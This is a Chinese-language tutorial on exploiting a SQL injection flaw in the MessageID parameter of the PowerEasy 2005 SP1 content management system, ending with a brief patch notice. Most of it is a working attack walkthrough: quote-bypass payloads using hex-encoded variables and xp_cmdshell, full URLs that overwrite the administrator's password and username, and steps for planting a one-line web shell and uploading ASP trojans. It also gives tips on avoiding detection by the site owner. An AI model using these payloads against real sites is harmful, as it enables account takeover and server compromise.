影響版本:
標準版 SQL版
企業版 SQL版
學校版 SQL版
政府版 SQL版
全功能版 SQL版
免費access 版
所有版本(包括免費版、商業SQL版及Access版)
不被影響的版本:2005動易ASSESS版
漏洞文件:Admin目錄下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
User 目錄下 User_Message.asp
等級:嚴重
描述:
此漏洞影響全部SQL版,如果用SA連接數據庫黑客可以拿到系統管理員權限。如果用普通用戶連接最嚴重情況,可以備份腳本木馬。一般情況可能改管理員登陸密碼,從而達到黑客登陸動易后臺??刂普麄€動易系統!
ACCESS版可以得到管理員md5密碼!
主要問題在于 User_Message.asp
http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;
MessageID 沒有嚴格過濾,有注入漏洞。只過濾了 單引號, 這就能擋住聰明的黑客嗎?
我們來看一下,User_Message.asp的源代碼、
————————————————————————————————————
<%
Call PE_Execute("PE_AdminCommon", "User_Message")
%>
——————————————————————————————————————
動易系統是不開放源代碼的,User_Message.asp 源代碼的意思就是調用 PE_AdminCommon.dll 中的 User_Message 函數。
有人可能要問了這樣的漏洞怎么發現的呢?
像這樣的文件 只能用分支測試法 給這個文件用到的全部變量 都測試一遍。這是很耗時的測試方法。
2,分析漏洞
源程序是不開放的,所以源程序沒什么好分析的。
現在我們來這漏洞入侵動易2005 sp1系統。
首先分兩個版來說
1,SQL版,
(1,發現注入點
User_Message.asp 文件中的 MessageID 沒有嚴格過濾。
測試,加 單引號,
正常返回。如圖一
加 ; ,加 --
都顯示出錯。
如圖二:
看提示 就明白有注入點了,加單引號沒用,應當是過濾了引號。沒關系過濾了單引號 阻擋不了我們入侵的步伐。
(2,繞過單引號
估計 注入點基本形式是這樣的 select * from pe_XXX where MessageID=(注入點)
我們想注入這樣的文件,就要繞過單引號。
下面這樣的代碼 我們可以用它來繞過單引號。
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
上面這語句主要是用來繞過單引號。不過我們要改一下,
declare @a sysname
select @a=
update pe_admin set password=@a where id=1--
); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--
完整的url
http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1--
這條語句是給后臺的id=1的管理員密碼改成 3。因為@a=0x3300 ,0x3300 是16進制的3.
執行成功之后如圖3:
(3,得到管理員權限
分兩步:
一,關聯前臺username
動易后臺登陸 要關聯前臺用戶。
先設置后臺管理員的前臺用戶名,為我們注冊的用戶。
declare @a sysname
select @a=
update pe_admin set username=@a where id=1--
說到這里,我要講一下@a 如果改
比如我們注冊的用戶為111111
@a=0x310031003100310031003100
我怎么知道的呢?隨便在網上找一個16進制轉換器就知道了,
比如 用這個工具轉換也行。
如圖4
所以注入語句成了這樣的
); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1--
二,改后臺登陸的password
接著給后臺密碼改成我們的密碼。我們就可以想辦法登陸了。
declare @a sysname
select @a=
update pe_admin set password=@a where id=1--
我們改后臺密碼,要改成已經加密的md5密碼
比如我們提供一個,469e80d32c0559f8 這是admin888加密之后的MD5密碼。
@a=0x3400360039006500380030006400330032006300300035003500390066003800
所以構造注入語句
); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1--
大家感覺很簡單吧!一般我們不這么做,教程 寫給新手看的,不能太難。
在真正的黑客行為中,如果給人家的后臺密碼改了,管理員登陸不上去。人家必然會發現的。
所以 給高手提供思路 自己研究一下。
比如
1,可以插入一個管理員 用完之后刪除
2,可以先暴出管理員密碼,用完之后,再還原。
(4,上傳木馬
1,rootclass_menu_config.asp 文件中的菜單其它特效 中插入一句話木馬。
如圖 5
插入一句話木馬之后,你可以用客戶端連接了。
2,給上傳屬性改成可以上傳ASP類型。上傳時抓包 給最后一個加上結束符。(類似于動網上傳)
SQL版我只說這么多了,如果你上傳不了木馬,或者是找不到后臺管理地址,來我們論壇提問吧!有我們有辦法解決。 http://bbs.77169.com
2,ACCESS版
(1,如果發現漏洞
在測試免費版的動易系統之時,發現免費的ACCESS版動易用戶控制面板沒有 發送短消息的功能。
不過,動易留有相關接口,登陸用戶控制面板 直接瀏覽 User_Message.asp 也可以注入.
(2,注入過程(略)
mssql和access 注入過程是點不一樣的?;鞠嗤@也留給大家自己去測試吧。
三,解決方案
臨時解決方案:
解決方案(臨時):更新補丁包中的三個文件,并先刪除user目錄下的User_Message.asp文件。SP2正式版中將會修復此漏洞,請目前使用SP1的用戶盡快打好此補丁。
補丁下載: http://download.asp163.net/PowerEasy2005SP1Patch.rar
感謝llikz、怪狗等網友對系統進行安全檢測并無私提供相關漏洞信息!